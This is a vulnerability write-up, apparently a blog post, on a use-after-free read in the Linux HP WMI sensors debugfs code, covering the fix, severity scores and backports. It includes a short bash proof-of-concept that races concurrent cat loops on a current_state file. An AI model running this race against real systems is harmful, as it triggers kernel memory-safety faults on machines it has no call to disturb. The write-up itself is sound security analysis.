# CVE-2026-98200: the string that got freed while debugfs was still printing it

**Patch:** [e6cb0b4d4ecb8e71fd2200d907ab2e9663356f69](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=e6cb0b4d4ecb8e71fd2200d907ab2e9663356f69) (mainline, landed in 7.3-rc4)
**Subsystem:** hwmon, HP WMI sensors
**Affected file:** drivers/hwmon/hp-wmi-sensors.c
**CVE record:** [CVE-2026-98200](https://www.cve.org/CVERecord?id=CVE-2026-98200)
**Introduced in:** 6.5, commit 23902f98f8d4811ab84dde6419569a5b374f8122

## The bug in one sentence

fungible_show() read nsensor->current_state from debugfs after hp_wmi_update_info() had already released the lock that protects the free-and-replace of exactly that pointer.

## A lock discipline story

nsensor->current_state is a dynamically replaced string. update_numeric_sensor_from_wobj() swaps it whenever the sensor state changes:

```c
if (strcmp(trimmed, nsensor->current_state)) {
        new_string = hp_wmi_strdup(dev, trimmed);
        if (new_string) {
                devm_kfree(dev, nsensor->current_state);
                nsensor->current_state = new_string;
        }
}
```

That swap only ever runs from hp_wmi_update_info() with state->lock held, so the update side is fine. The read side was not:

```c
err = hp_wmi_update_info(state, info);
if (err)
        return err;

switch (prop) {
case HP_WMI_PROPERTY_CURRENT_STATE:
        seq_printf(seqf, "%s\n", nsensor->current_state);
```

hp_wmi_update_info() takes state->lock internally and releases it before returning. By the time seq_printf() dereferences the pointer, no lock is held. Two processes reading the same sensor's debugfs entry at overlapping times, or one reading while another read of the same sensor triggers a refresh, can interleave such that one thread's seq_printf() is partway through the string when the other thread's update frees it with devm_kfree() and installs a new pointer. Use-after-free read, with the classic symptom of occasionally garbled or stale sensor state text, and the less classic symptom of a KASAN report if you are lucky enough to be running one.

The fix takes the lock around the read:

```diff
 	case HP_WMI_PROPERTY_CURRENT_STATE:
+		mutex_lock(&state->lock);
 		seq_printf(seqf, "%s\n", nsensor->current_state);
+		mutex_unlock(&state->lock);
 		break;
```

Full patch: [e6cb0b4d4ecb](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=e6cb0b4d4ecb8e71fd2200d907ab2e9663356f69). Two lines for a textbook lifetime bug.

## How to trigger it

The debugfs tree is hp-wmi-sensors-<id>/sensor/<name>/ with a current_state file per sensor. Two concurrent readers racing the sensor refresh hit the window:

```bash
f=$(find /sys/kernel/debug -maxdepth 4 -path '*hp-wmi-sensors*' \
     -name current_state | head -1)

while :; do cat "$f" > /dev/null; done &
while :; do cat "$f" > /dev/null; done &
# a sensor whose state string actually changes between reads (fan speeds,
# thermal states) makes the free-and-replace fire and widens the race
```

One thread's seq_printf() can be mid-string when the other thread's hp_wmi_update_info() calls devm_kfree() on current_state and installs the new pointer. Under KASAN the use-after-free read reports inside fungible_show(); without it, the usual symptom is rare garbled sensor state text. Post-fix both the swap and the read hold state->lock, so the interleaving is impossible.

## Score and classification

Unscored by the CNA and NVD (Received). The distro spread:

* SUSE: 3.0 LOW, the lowest score anything in my set received anywhere
* Red Hat: 5.5 MEDIUM with CWE-825 (expired pointer dereference), Bugzilla [2546379](https://bugzilla.redhat.com/show_bug.cgi?id=2546379)
* OffSeq labels it High, which is a good reminder that third-party severity labels without vectors are vibes

My honest position is with SUSE on this one. It is a debugfs read path, the collision window is a string swap, and the practical worst case is reading sensor state text out of freed memory before it gets reused. Real bug, worth fixing, low drama.

## Exploit code

Two readers and a changing sensor, that is the entire setup:

```bash
#!/usr/bin/env bash
# hwmon_uaf_race.sh: CVE-2026-98200
f=$(find /sys/kernel/debug -maxdepth 4 -path '*hp-wmi-sensors*' \
     -name current_state | head -1)
[ -z "$f" ] && { echo "no hp-wmi-sensors current_state entry"; exit 1; }
echo "racing on $f"

# sensor state must actually change between reads for the swap to fire;
# fan speed and thermal sensors on a busy machine do that on their own
while :; do cat "$f" > /dev/null; done &
while :; do cat "$f" > /dev/null; done &
while :; do cat "$f" > /dev/null; done &
wait
```

The losing interleaving: one reader's seq_printf() is walking nsensor->current_state when another read's hp_wmi_update_info() calls devm_kfree() on that exact string and installs the replacement, so the first thread finishes printing freed memory. Under KASAN the use-after-free reports inside fungible_show(); without KASAN the symptom is occasionally garbled or truncated sensor state text in the debugfs read. Post-fix the read holds state->lock, the same lock the swap holds, and the interleaving cannot be constructed. Public status: no KEV, no public PoC before this note. Fixes: Debian [DSA-6568-1](https://www.debian.org/security/2026/dsa-6568) (trixie 6.12.113-1, October 16) and [DLA-4850-1](https://security-tracker.debian.org/tracker/DLA-4850-1); Ubuntu noble and resolute in progress when last checked.

## Where the fix shipped

* 6.6.158: [b6b2a638aa36](https://git.kernel.org/stable/c/b6b2a638aa36c441b2c8d0b6bd8ed2bb9701e795)
* 6.12.112: [f59ecfd2c58b](https://git.kernel.org/stable/c/f59ecfd2c58bace39538f3fff7f43788b3fdb539)
* 6.18.54: [72c85149794a](https://git.kernel.org/stable/c/72c85149794a1ccf8d718ffed1521106b5d31968)
* 7.2.8: [9c1e65bc79ff](https://git.kernel.org/stable/c/9c1e65bc79ff104914b11e6ad972139296ec86fe)
* 7.3-rc4: [e6cb0b4d4ecb](https://git.kernel.org/stable/c/e6cb0b4d4ecb8e71fd2200d907ab2e9663356f69)

## References

1. [Upstream commit e6cb0b4d4ecb](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=e6cb0b4d4ecb8e71fd2200d907ab2e9663356f69)
2. [CVE announcement on lore](https://lore.kernel.org/linux-cve-announce/2026100636-CVE-2026-98200-5da3@gregkh/)
3. [NVD record](https://nvd.nist.gov/vuln/detail/CVE-2026-98200)
4. [Red Hat tracker](https://access.redhat.com/security/cve/cve-2026-98200)
5. [Debian tracker](https://security-tracker.debian.org/tracker/CVE-2026-98200)
